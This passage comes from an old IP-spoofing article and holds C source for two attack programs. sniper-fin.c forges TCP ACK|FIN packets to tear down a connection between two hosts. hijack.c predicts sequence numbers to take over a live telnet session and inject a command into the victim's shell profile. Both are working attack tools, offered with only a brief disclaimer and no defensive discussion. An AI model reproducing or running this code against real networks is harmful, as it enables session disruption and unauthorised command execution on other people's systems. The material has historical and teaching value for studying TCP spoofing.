- /* For whom - People with a little knowledge of TCP/IP, C source code */
- /* and general UNIX. Otherwise, please keep your hands of, */
- /* and catch up on those things first. */
- /* */
- /* Limited to - Linux 1.3.X or higher. */
- /* ETHERNET support ("eth0" device) */
- /* If you network configuration differs it shouldn't be to */
- /* hard to modify yourself. I got it working on PPP too, */
- /* but I'm not including extra configuration possibilities */
- /* because this would overload this first release that is */
- /* only a demonstration of the mechanism. */
- /* Anyway if you only have ONE network device (slip, */
- /* ppp,... ) after a quick look at this code and spoofit.h */
- /* it will only take you a few secs to fix it... */
- /* People with a bit of C knowledge and well known with */
- /* their OS shouldn't have to much trouble to port the code.*/
- /* If you do, I would love to get the results. */
- /* */
- /* Compiling - gcc -o sniper-fin sniper-fin.c */
- /* */
- /* Usage - Usage described in the spoofing article that came with this. */
- /* If you didn't get this, try to get the full release... */
- /* */
- /* See also - Sniffit (for getting the necessairy data on a connection) */
- /**************************************************************************/
-
- #include "spoofit.h"
-
- /* Those 2 'defines' are important for putting the receiving device in */
- /* PROMISCUOUS mode */
- #define INTERFACE "eth0"
- #define INTERFACE_PREFIX 14
-
- char SOURCE[100],DEST[100];
- int SOURCE_P,DEST_P;
-
- void main(int argc, char *argv[])
- {
- int i,stat;
- int fd_send, fd_receive;
- unsigned long sp_ack, sp_seq;
- unsigned short flags;
- struct sp_wait_packet pinfo;
-
- if(argc != 5)
- {
- printf("usage: %s host1 port1 host2 port2\n",argv[0]);
- exit(0);
- }
-
- /* preparing some work */
- DEV_PREFIX = INTERFACE_PREFIX;
- strcpy(SOURCE,argv[1]);
- SOURCE_P=atoi(argv[2]);
- strcpy(DEST,argv[3]);
- DEST_P=atoi(argv[4]);
-
- /* opening sending and receiving sockets */
- fd_send = open_sending();
- fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */
-
- for(i=1;i<100;i++)
- {
- printf("Attack Sequence %d.\n",i);
- /* Waiting for a packet containing an ACK */
- stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
- if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);}
- sp_seq=pinfo.ack;
- sp_ack=pinfo.seq+pinfo.datalen;
- /* Sending our fake Packet */
- transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,sp_seq,sp_ack,ACK|FIN);
- /* waiting for confirmation */
- stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
- if(stat>=0)
- {
- printf("Killed the connection...\n");
- exit(0);
- }
- printf("Hmmmm.... no response detected... (retry)\n");
- }
- printf("I did not succeed in killing it.\n");
- }
-
- ------------------------------------------------------------------------------
-
- ---=[ hijack.c ]=-------------------------------------------------------------
- /**************************************************************************/
- /* Hijack - Example program on connection hijacking with IP spoofing */
- /* (illustration for 'A short overview of IP spoofing') */
- /* */
- /* Purpose - taking control of a running telnet session, and executing */
- /* our own command in that shell. */
- /* */
- /* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */
- /* Serious advice, comments, statements, greets, always welcome */
- /* flames, moronic 3l33t >/dev/null */
- /* */
- /* Disclaimer - This program is for educational purposes only. I am in */
- /* NO way responsible for what you do with this program, */
- /* or any damage you or this program causes. */
- /* */
- /* For whom - People with a little knowledge of TCP/IP, C source code */
- /* and general UNIX. Otherwise, please keep your hands of, */
- /* and catch up on those things first. */
- /* */
- /* Limited to - Linux 1.3.X or higher. */
- /* ETHERNET support ("eth0" device) */
- /* If you network configuration differs it shouldn't be to */
- /* hard to modify yourself. I got it working on PPP too, */
- /* but I'm not including extra configuration possibilities */
- /* because this would overload this first release that is */
- /* only a demonstration of the mechanism. */
- /* Anyway if you only have ONE network device (slip, */
- /* ppp,... ) after a quick look at this code and spoofit.h */
- /* it will only take you a few secs to fix it... */
- /* People with a bit of C knowledge and well known with */
- /* their OS shouldn't have to much trouble to port the code.*/
- /* If you do, I would love to get the results. */
- /* */
- /* Compiling - gcc -o hijack hijack.c */
- /* */
- /* Usage - Usage described in the spoofing article that came with this. */
- /* If you didn't get this, try to get the full release... */
- /* */
- /* See also - Sniffit (for getting the necessairy data on a connection) */
- /**************************************************************************/
-
- #include "spoofit.h" /* My spoofing include.... read licence on this */
-
- /* Those 2 'defines' are important for putting the receiving device in */
- /* PROMISCUOUS mode */
- #define INTERFACE "eth0" /* first ethernet device */
- #define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */
-
- #define PERSONAL_TOUCH 666
-
- int fd_receive, fd_send;
- char CLIENT[100],SERVER[100];
- int CLIENT_P;
-
- void main(int argc, char *argv[])
- {
- int i,j,count;
- struct sp_wait_packet attack_info;
- unsigned long sp_seq ,sp_ack;
- unsigned long old_seq ,old_ack;
- unsigned long serv_seq ,serv_ack;
-
- /* This data used to clean up the shell line */
- char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a};
- char evil_data[]="echo \"echo HACKED\" >>$HOME/.profile\n";
-
- if(argc!=4)
- {
- printf("Usage: %s client client_port server\n",argv[0]);
- exit(1);
- }
- strcpy(CLIENT,argv[1]);
- CLIENT_P=atoi(argv[2]);
- strcpy(SERVER,argv[3]);
-
- /* preparing all necessary sockets (sending + receiving) */
- DEV_PREFIX = INTERFACE_PREFIX;
- fd_send = open_sending();
- fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */
-
- printf("Starting Hijacking demo - Brecht Claerhout 1996\n");
- printf("-----------------------------------------------\n");
-
- for(j=0;j<50;j++)
- {
- printf("\nTakeover phase 1: Stealing connection.\n");
- wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);
- sp_seq=attack_info.seq+attack_info.datalen;
- sp_ack=attack_info.ack;
- printf(" Sending Spoofed clean-up data...\n");
- transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23,
- sp_seq,sp_ack,ACK|PSH);
- /* NOTE: always beware you receive y'r OWN spoofed packs! */
- /* so handle it if necessary */
- count=0;
- printf(" Waiting for spoof to be confirmed...\n");
- while(count<5)
- {
- wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
- if(attack_info.ack==sp_seq+sizeof(to_data))
- count=PERSONAL_TOUCH;
- else count++;
- };
- if(count!=PERSONAL_TOUCH)
- {printf("Phase 1 unsuccesfully ended.\n");}
- else {printf("Phase 1 ended.\n"); break;};
- };
-
- printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n");
- count=serv_seq=old_ack=0;
- while(count<10)
- {
- old_seq=serv_seq;
- old_ack=serv_ack;
- wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0);
- if(attack_info.datalen==0)
- {
- serv_seq=attack_info.seq+attack_info.datalen;
- serv_ack=attack_info.ack;
- if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
- count=PERSONAL_TOUCH;
- else count++;
- }
- };
- if(count!=PERSONAL_TOUCH)
- {printf("Phase 2 unsuccesfully ended.\n"); exit(0);}
- printf(" Server SEQ: %X (hex) ACK: %X (hex)\n",serv_seq,serv_ack);
- printf("Phase 2 ended.\n");
-
- printf("\nTakeover phase 3: Sending MY data.\n");
- printf(" Sending evil data.\n");
- transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
- SERVER,23,serv_ack,serv_seq,ACK|PSH);
- count=0;
- printf(" Waiting for evil data to be confirmed...\n");
- while(count<5)
- {
- wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
- if(attack_info.ack==serv_ack+sizeof(evil_data))
- count=PERSONAL_TOUCH;
- else count++;
- };
- if(count!=PERSONAL_TOUCH)
- {printf("Phase 3 unsuccesfully ended.\n"); exit(0);}
- printf("Phase 3 ended.\n");
-
- }
-
- ------------------------------------------------------------------------------
-
-
-
-
-